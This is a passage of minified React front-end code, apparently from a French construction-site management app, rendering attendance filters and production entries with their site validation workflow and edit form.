px-3 py-2.5 text-sm text-stone-100&quot;})]}),s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-2&quot;,children:[s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Du&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:R,onChange:P=&gt;{U(P.target.value),V(&quot;&quot;)},className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Au&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:D,onChange:P=&gt;{G(P.target.value),V(&quot;&quot;)},className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrier&quot;}),s.jsxs(&quot;select&quot;,{value:$,onChange:P=&gt;F(P.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Tous&quot;}),J.map(P=&gt;s.jsx(&quot;option&quot;,{value:P.id,children:P.display_name},P.id))]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Équipe&quot;}),s.jsxs(&quot;select&quot;,{value:I,onChange:P=&gt;ee(P.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Toutes&quot;}),W.map(P=&gt;s.jsx(&quot;option&quot;,{value:P.id,children:P.name},P.id))]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{value:K,onChange:P=&gt;q(P.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:ih.map(P=&gt;s.jsx(&quot;option&quot;,{value:P.value,children:P.label},P.value||&quot;all&quot;))})]})]})]}),g?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:g}):null,S?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,!S&amp;&amp;y.length===0?s.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-dashed border-stone-700 px-4 py-8 text-center text-sm text-stone-500&quot;,children:&quot;Aucune présence pour ces critères.&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:y.map(P=&gt;{var ne;return s.jsx(&quot;li&quot;,{children:s.jsx(je,{to:`/attendances/${P.id}`,className:bt,children:s.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((ne=P.worker)==null?void 0:ne.display_name)??`Ouvrier #${P.worker_id}`}),s.jsxs(&quot;p&quot;,{className:&quot;mt-0.5 text-xs text-stone-500&quot;,children:[P.date,&quot; · &quot;,ey(P.status),P.hours_worked?` · ${P.hours_worked} h`:&quot;&quot;]})]}),s.jsx(&quot;span&quot;,{className:&quot;shrink-0 text-lg text-stone-600&quot;,&quot;aria-hidden&quot;:!0,children:&quot;›&quot;})]})})},P.id)})})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Présences&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (attendances.view).&quot;})]})}const uh=[{value:&quot;&quot;,label:&quot;Tous&quot;},{value:&quot;draft&quot;,label:&quot;Brouillon&quot;},{value:&quot;submitted&quot;,label:&quot;Soumis&quot;},{value:&quot;validated&quot;,label:&quot;Validé (chantier)&quot;},{value:&quot;rejected&quot;,label:&quot;Rejeté&quot;}];function ay(u){var c;return((c=uh.find(f=&gt;f.value===u))==null?void 0:c.label)??u}function ly(){const{token:u,can:c}=De(),{activeProjectId:f,activeProject:r}=ft(),d=f,p=c(&quot;production_entries.manage&quot;),[y,v]=m.useState([]),[g,x]=m.useState(null),[S,b]=m.useState(!0),[A,V]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[D,G]=m.useState(&quot;&quot;),[$,F]=m.useState(&quot;&quot;),[I,ee]=m.useState(&quot;&quot;),[K,q]=m.useState([]),[J,H]=m.useState([]),W=m.useCallback(async()=&gt;{if(!u||!d||!c(&quot;production_entries.view&quot;)){b(!1);return}b(!0),x(null);const B=new URLSearchParams;B.set(&quot;per_page&quot;,&quot;100&quot;),B.set(&quot;sort&quot;,&quot;-date&quot;),A&amp;&amp;B.set(&quot;from&quot;,A),R&amp;&amp;B.set(&quot;to&quot;,R),D&amp;&amp;B.set(&quot;work_item_id&quot;,D),$&amp;&amp;B.set(&quot;worker_id&quot;,$),I&amp;&amp;B.set(&quot;status&quot;,I);try{const ae=await ie(`/api/v1/projects/${d}/production-entries?${B.toString()}`,{method:&quot;GET&quot;,token:u});v(ae.data)}catch(ae){x(ae instanceof ge?ae.message:&quot;Erreur de chargement&quot;),v([])}finally{b(!1)}},[u,d,c,A,R,D,$,I]);m.useEffect(()=&gt;{W()},[W]),m.useEffect(()=&gt;{if(!u||!d)return;let B=!1;return(async()=&gt;{try{const[ae,P]=await Promise.all([ie(`/api/v1/projects/${d}/work-items?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:u}),ie(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:u})]);B||(q(ae.data),H(P.data))}catch{B||(q([]),H([]))}})(),()=&gt;{B=!0}},[u,d]);const Z=m.useMemo(()=&gt;r?`${r.name}${r.code?` (${r.code})`:&quot;&quot;}`:null,[r]);return c(&quot;production_entries.view&quot;)?d===null||!Number.isFinite(d)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsxs(&quot;p&quot;,{className:&quot;rounded-xl border border-stone-800 bg-stone-900/40 px-4 py-6 text-center text-sm text-stone-400&quot;,children:[&quot;Sélectionnez un &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-200&quot;,children:&quot;chantier actif&quot;}),&quot; pour les lignes de production.&quot;]}),s.jsx(je,{to:&quot;/projects&quot;,className:bt,children:&quot;Liste des chantiers&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{title:&quot;Production&quot;,subtitle:Z??void 0}),s.jsxs(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:[&quot;Saisie terrain et &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;validation chantier&quot;}),&quot; — la paie au rendu (`per_completed_work`) utilisera les lignes &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;validées ici&quot;}),&quot;, pas l’avancement ouvrage seul.&quot;]}),s.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2 sm:flex-row&quot;,children:[c(&quot;work_items.manage&quot;)?s.jsx(je,{to:`/projects/${d}/work-items/new`,className:&quot;block flex-1 rounded-xl border border-stone-600 py-3 text-center text-sm font-medium text-stone-200 hover:bg-stone-900&quot;,children:&quot;+ Nouvel ouvrage&quot;}):null,p?s.jsx(je,{to:&quot;/production-entries/new&quot;,className:&quot;block flex-1 rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;+ Nouvelle saisie&quot;}):null]}),s.jsxs(&quot;section&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/30 p-3&quot;,children:[s.jsx(&quot;p&quot;,{className:&quot;text-xs font-medium text-stone-500&quot;,children:&quot;Filtres&quot;}),s.jsxs(&quot;div&quot;,{className:&quot;grid gap-3&quot;,children:[s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-2&quot;,children:[s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Du&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:A,onChange:B=&gt;V(B.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Au&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:R,onChange:B=&gt;U(B.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrage&quot;}),s.jsxs(&quot;select&quot;,{value:D,onChange:B=&gt;G(B.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Tous&quot;}),K.map(B=&gt;s.jsx(&quot;option&quot;,{value:B.id,children:B.name},B.id))]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrier&quot;}),s.jsxs(&quot;select&quot;,{value:$,onChange:B=&gt;F(B.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Tous&quot;}),J.map(B=&gt;s.jsx(&quot;option&quot;,{value:B.id,children:B.display_name},B.id))]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{value:I,onChange:B=&gt;ee(B.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:uh.map(B=&gt;s.jsx(&quot;option&quot;,{value:B.value,children:B.label},B.value||&quot;all&quot;))})]})]})]}),g?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:g}):null,S?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,!S&amp;&amp;y.length===0?s.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-dashed border-stone-700 px-4 py-8 text-center text-sm text-stone-500&quot;,children:&quot;Aucune ligne de production pour ces critères.&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:y.map(B=&gt;{var ae;return s.jsx(&quot;li&quot;,{children:s.jsx(je,{to:`/production-entries/${B.id}`,className:bt,children:s.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((ae=B.work_item)==null?void 0:ae.name)??`Ouvrage #${B.work_item_id}`}),s.jsxs(&quot;p&quot;,{className:&quot;mt-0.5 text-xs text-stone-500&quot;,children:[B.date,&quot; · &quot;,B.quantity,&quot; &quot;,B.unit,&quot; · &quot;,ay(B.status)]}),s.jsxs(&quot;p&quot;,{className:&quot;mt-0.5 text-[11px] text-stone-600&quot;,children:[B.worker?B.worker.display_name:B.team?`Équipe : ${B.team.name}`:&quot;—&quot;,B.worker_id?&quot; · base paie individuelle possible si validé&quot;:&quot; · suivi équipe (pas de paie auto MVP)&quot;]})]}),s.jsx(&quot;span&quot;,{className:&quot;shrink-0 text-lg text-stone-600&quot;,&quot;aria-hidden&quot;:!0,children:&quot;›&quot;})]})})},B.id)})})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (production_entries.view).&quot;})]})}async function Bm(u,c,f){return(await ie(c,{...f,token:u})).data}function ny(u){return{draft:&quot;Brouillon&quot;,submitted:&quot;Soumis (en attente chantier)&quot;,validated:&quot;Validé chantier&quot;,rejected:&quot;Rejeté chantier&quot;}[u]??u}function sy(u,c){return c?u===&quot;chef_chantier&quot;||u===&quot;entrepreneur_admin&quot;:!1}function iy(){var q,J,H;const{productionEntryId:u}=nt(),c=Number(u),{token:f,user:r,can:d}=De(),{activeProject:p,setActiveProjectId:y}=ft(),[v,g]=m.useState(null),[x,S]=m.useState(null),[b,A]=m.useState(!0),[V,R]=m.useState(!1),U=d(&quot;production_entries.manage&quot;),D=d(&quot;production_entries.view&quot;)&amp;&amp;!U,G=sy(r==null?void 0:r.role,U),$=U&amp;&amp;v&amp;&amp;(v.status===&quot;draft&quot;||v.status===&quot;rejected&quot;)&amp;&amp;!D,F=G&amp;&amp;v&amp;&amp;v.status===&quot;submitted&quot;;m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!d(&quot;production_entries.view&quot;)){A(!1);return}let W=!1;return(async()=&gt;{try{const Z=await ie(`/api/v1/production-entries/${c}`,{method:&quot;GET&quot;,token:f});W||(g(Z.data),y(Z.data.project_id))}catch(Z){W||S(Z instanceof ge?Z.message:&quot;Erreur&quot;)}finally{W||A(!1)}})(),()=&gt;{W=!0}},[c,f,d,y]);async function I(W){if(!(!f||!v)){R(!0),S(null);try{const Z=await Bm(f,`/api/v1/production-entries/${v.id}`,{method:&quot;PATCH&quot;,body:JSON.stringify({status:W})});g(Z)}catch(Z){S(Z instanceof ge?Z.message:&quot;Action impossible&quot;)}finally{R(!1)}}}async function ee(W){if(!(!f||!v)){R(!0),S(null);try{const Z=await Bm(f,`/api/v1/production-entries/${v.id}/validate`,{method:&quot;POST&quot;,body:JSON.stringify({decision:W})});g(Z)}catch(Z){S(Z instanceof ge?Z.message:&quot;Action impossible&quot;)}finally{R(!1)}}}if(!d(&quot;production_entries.view&quot;))return s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]});if(!Number.isFinite(c))return s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;});if(b)return s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;});if(x&amp;&amp;!v)return s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/production-entries&quot;,title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x})]});if(!v)return null;const K=U&amp;&amp;v.status!==&quot;validated&quot;&amp;&amp;!(v.status===&quot;submitted&quot;&amp;&amp;(r==null?void 0:r.role)===&quot;contremaitre_technicien&quot;);return s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/production-entries&quot;,title:&quot;Ligne de production&quot;,subtitle:p&amp;&amp;p.id===v.project_id?p.name:`Projet #${v.project_id}`}),s.jsxs(&quot;p&quot;,{className:&quot;rounded-lg border border-stone-800 bg-stone-900/50 px-3 py-2 text-xs text-stone-500&quot;,children:[s.jsx(&quot;strong&quot;,{className:&quot;text-amber-600/90&quot;,children:&quot;Validation chantier&quot;}),&quot; (cette page) — distincte de la&quot;,&quot; &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;validation financière de la paie&quot;}),&quot; (module Paie, hors lot actuel).&quot;]}),x?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x}):null,s.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/40 p-4 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrage&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-base font-medium text-stone-100&quot;,children:((q=v.work_item)==null?void 0:q.name)??`#${v.work_item_id}`})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Date&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:v.date})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Quantité / unité&quot;}),s.jsxs(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:[v.quantity,&quot; &quot;,v.unit,v.unit_rate?` · taux ${v.unit_rate}`:&quot;&quot;]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Attribution&quot;}),s.jsxs(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:[v.worker?s.jsxs(s.Fragment,{children:[&quot;Ouvrier : &quot;,v.worker.display_name,s.jsx(&quot;span&quot;,{className:&quot;mt-1 block text-[11px] text-stone-500&quot;,children:&quot;Peut servir de base à une paie individuelle au rendu une fois validé chantier.&quot;})]}):null,v.team?s.jsxs(s.Fragment,{children:[v.worker?&quot; · &quot;:null,&quot;Équipe : &quot;,v.team.name,s.jsx(&quot;span&quot;,{className:&quot;mt-1 block text-[11px] text-stone-500&quot;,children:&quot;Suivi chantier ; pas de paie auto individuelle MVP sans répartition.&quot;})]}):null,!v.worker&amp;&amp;!v.team?&quot;—&quot;:null]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:ny(v.status)})]}),v.comment?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Commentaire&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 whitespace-pre-wrap text-stone-300&quot;,children:v.comment})]}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Saisi par&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((J=v.created_by)==null?void 0:J.full_name)??`#${v.created_by_user_id}`})]}),v.validated_by_user_id?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Validé chantier par&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((H=v.validated_by)==null?void 0:H.full_name)??`#${v.validated_by_user_id}`})]}):null]}),D?s.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Lecture seule (ex. financier — contexte paie au rendu).&quot;}):null,s.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2&quot;,children:[K?s.jsx(je,{to:`/production-entries/${v.id}/edit`,className:ml,children:&quot;Modifier&quot;}):null,$?s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:V,onClick:()=&gt;void I(&quot;submitted&quot;),className:Ot,children:V?&quot;…&quot;:&quot;Soumettre pour validation chantier&quot;}):null,F?s.jsxs(s.Fragment,{children:[s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:V,onClick:()=&gt;void ee(&quot;validated&quot;),className:Ot,children:V?&quot;…&quot;:&quot;Valider (chantier)&quot;}),s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:V,onClick:()=&gt;void ee(&quot;rejected&quot;),className:&quot;rounded-xl border border-red-900/60 bg-red-950/40 py-3 text-center text-sm font-semibold text-red-300 hover:bg-red-950/60&quot;,children:&quot;Rejeter (chantier)&quot;})]}):null]})]})}function uy(){const u=new Date,c=u.getFullYear(),f=String(u.getMonth()+1).padStart(2,&quot;0&quot;),r=String(u.getDate()).padStart(2,&quot;0&quot;);return`${c}-${f}-${r}`}function Lm(){const{productionEntryId:u}=nt(),c=u?Number(u):null,f=Number.isFinite(c),r=Ft(),d=$t(),p=!f&amp;&amp;d.state&amp;&amp;typeof d.state==&quot;object&quot;&amp;&amp;&quot;workItemId&quot;in d.state?Number(d.state.workItemId):NaN,{token:y,can:v}=De(),{activeProjectId:g,activeProject:x,setActiveProjectId:S}=ft(),b=g,A=v(&quot;production_entries.manage&quot;),[V,R]=m.useState(&quot;&quot;),[U,D]=m.useState(&quot;&quot;),[G,$]=m.useState(&quot;&quot;),[F,I]=m.useState(uy()),[ee,K]=m.useState(&quot;&quot;),[q,J]=m.useState(&quot;&quot;),[H,W]=m.useState(&quot;&quot;),[Z,B]=m.useState(&quot;draft&quot;),[ae,P]=m.useState(&quot;&quot;),[ne,w]=m.useState({}),[k,se]=m.useState(null),[pe,ze]=m.useState(!1),[E,Q]=m.useState(f),[Y,te]=m.useState([]),[re,xe]=m.useState([]),[Se,Fe]=m.useState([]),[Ve,Ka]=m.useState(!1);m.useEffect(()=&gt;{Number.isFinite(b)&amp;&amp;S(b)},[b,S]),m.useEffect(()=&gt;{if(!y||!b)return;let he=!1;return(async()=&gt;{try{const[Dt,Me,Sa]=await Promise.all([ie(`/api/v1/projects/${b}/work-items?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:y}),ie(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:y}),ie(`/api/v1/projects/${b}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:y})]);he||(te(Dt.data),xe(Me.data),Fe(Sa.data))}catch{he||(te([]),xe([]),Fe([]))}})(),()=&gt;{he=!0}},[y,b]),m.useEffect(()=&gt;{f||!Number.isFinite(p)||Y.some(he=&gt;he.id===p)&amp;&amp;R(String(p))},[f,p,Y]),m.useEffect(()=&gt;{if(!f||!y||c===null||!Number.isFinite(c)){Q(!1);return}let he=!1;return(async()=&gt;{try{const Dt=await ie(`/api/v1/production-entries/${c}`,{method:&quot;GET&quot;,token:y});if(!he){const Me=Dt.data;Me.status===&quot;validated&quot;&amp;&amp;Ka(!0),R(String(Me.work_item_id)),D(Me.worker_id?String(Me.worker_id):&quot;&quot;),$(Me.team_id?String(Me.team_id):&quot;&quot;),I(Me.date.slice(0,10)),K(String(Me.quantity)),J(Me.unit),W(Me.unit_rate??&quot;&quot;),Me.status===&quot;rejected&quot;?B(&quot;draft&quot;):Me.status===&quot;submitted&quot;||Me.status===&quot;draft&quot;?B(Me.status):B(&quot;draft&quot;),P(Me.comment??&quot;&quot;)}}catch(Dt){he||se(Dt instanceof ge?Dt.message:&quot;Chargement impossible&quot;)}finally{he||Q(!1)}})(),()=&gt;{he=!0}},[f,c,y]);async function hl(he){if(he.preventDefault(),!y||!b)return;if(!U&amp;&amp;!G){se(&quot;Renseignez au moins un ouvrier ou une équipe.&quot;);return}se(null),w({}),ze(!0);const Dt={work_item_id:Number(V),worker_id:U?Number(U):null,team_id:G?Number(G):null,date:F,quantity:Number(ee),unit:q,unit_rate:H===&quot;&quot;?null:Number(H),status:Z,comment:ae===&quot;&quot;?null:ae};try{f&amp;&amp;c!==null?(await ie(`/api/v1/production-entries/${c}`,{method:&quot;PATCH&quot;,token:y,body:JSON.stringify(Dt)}),r(`/production-entries/${c}`)):(await ie(`/api/v1/projects/${b}/production-entries`,{method:&quot;POST&quot;,token:y,body:JSON.stringify(Dt)}),r(&quot;/production-entries&quot;))}catch(Me){if(Me instanceof ge){se(Me.message);const Sa=mr(Me.body);Sa&amp;&amp;w(Sa)}else se(&quot;Enregistrement impossible&quot;)}finally{ze(!1)}}return v(&quot;production_entries.view&quot;)?A?b===null?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Sélectionnez un chantier actif.&quot;})]}):E?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):Ve?s.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[s.jsx(le,{backTo:`/production-entries/${c}`,title:&quot;Modifier&quot;}),s.jsxs(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:[&quot;Cette ligne est validée côté chantier — elle n’est plus modifiable ici. La validation&quot;,&quot; &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-300&quot;,children:&quot;financière de la paie&quot;}),&quot; est un autre circuit (module Paie).&quot;]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:f?`/production-entries/${c}`:&quot;/production-entries&quot;,title:f?&quot;Modifier la production&quot;:&quot;Nouvelle production&quot;,subtitle:x==null?void 0:x.name}),s.jsxs(&quot;form&quot;,{onSubmit:he=&gt;void hl(he),className:&quot;space-y-4&quot;,children:[k?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:k}):null,s.jsxs(&quot;div&quot;,{children:[s.jsxs(&quot;div&quot;,{className:&quot;mb-1 flex flex-wrap items-center justify-between gap-2&quot;,children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;pe-work-item&quot;,children:&quot;Ouvrage&quot;}),v(&quot;work_items.manage&quot;)&amp;&amp;b!==null?s.jsx(je,{to:`/projects/${b}/work-items/new`,className:&quot;text-xs font-medium text-amber-500 hover:text-amber-400&quot;,children:&quot;+ Créer un ouvrage&quot;}):null]}),s.jsxs(&quot;select&quot;,{id:&quot;pe-work-item&quot;,required:!0,value:V,onChange:he=&gt;R(he.target.value),className:oe,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),Y.map(he=&gt;s.jsx(&quot;option&quot;,{value:he.id,children:he.name},he.id))]}),ne.work_item_id?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ne.work_item_id}):null,Y.length===0&amp;&amp;v(&quot;work_items.manage&quot;)&amp;&amp;b!==null?s.jsx(&quot;p&quot;,{className:&quot;mt-2 text-xs text-stone-500&quot;,children:&quot;Aucun ouvrage sur ce chantier — utilisez « Créer un ouvrage » ci-dessus.&quot;}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;pe-worker&quot;,children:&quot;Ouvrier (optionnel si équipe)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;pe-worker&quot;,value:U,onChange:he=&gt;D(he.target.value),className:oe,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),re.map(he=&gt;s.jsx(&quot;option&quot;,{value:he.id,children:he.display_name},he.id))]}),ne.worker_id?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ne.worker_id}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;pe-team&quot;,children:&quot;Équipe (optionnel)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;pe-team&quot;,value:G,onChange:he=&gt;$(he.target.value),className:oe,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),Se.map(he=&gt;s.jsx(&quot;option&quot;,{value:he.id,children:he.name},he.id))]}),ne.team_id?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ne.team_id}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;pe-date&quot;,children:&quot;Date&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pe-date&quot;,type:&quot;date&quot;,required:!0,value:F,onChange:he=&gt;I(he.target.value),className:oe}),ne.date?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ne.date}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;pe-qty&quot;,children:&quot;Quantité&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pe-qty&quot;,type:&quot;text&quot;,inputMode:&quot;decimal&quot;,required:!0,value:ee,onChange:he=&gt;K(he.target.value),className:`${oe} text-lg`,placeholder:&quot;ex. 12,5&quot;}),ne.quantity?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ne.quantity}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;pe-unit&quot;,children:&quot;Unité&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pe-unit&quot;,type:&quot;text&quot;,required:!0,value:q,onChange:he=&gt;J(he.target.value),className:oe,placeholder:&quot;m2, u, 